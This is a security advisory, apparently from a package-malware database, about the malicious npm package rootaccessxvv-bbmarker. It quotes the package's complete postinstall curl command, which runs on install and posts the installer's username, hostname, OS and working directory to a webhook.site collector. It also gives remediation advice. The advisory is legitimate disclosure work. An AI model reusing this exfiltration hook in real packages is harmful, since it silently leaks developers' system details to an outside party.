rootaccessxvv-bbmarker
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-j3h4-5jwm-6m55
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in rootaccessxvv-bbmarker (npm)
Its postinstall hook runs on npm install: curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|[email protected]|benign-research-rootaccessxvv" || true. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The npm account mohamed2343224 published it on 2026-10-18.
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (126c6e67bc80ed62f5e620ef9a8ce11ca39653348a59bc8d7a1d0cef76f72a02)
package.json declares a postinstall lifecycle script that runs on npm install and POSTs installer host identifiers to a hardcoded webhook.site collector at https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The script shells out to whoami, hostname, uname, and node -v, concatenates the output with the current working directory, and sends the result via curl -X POST. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled.
Source: ghsa-malware (73760163626a2b65c41c758597a6a063e7d0aa9a89659b9990b93e35d63b4a33)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0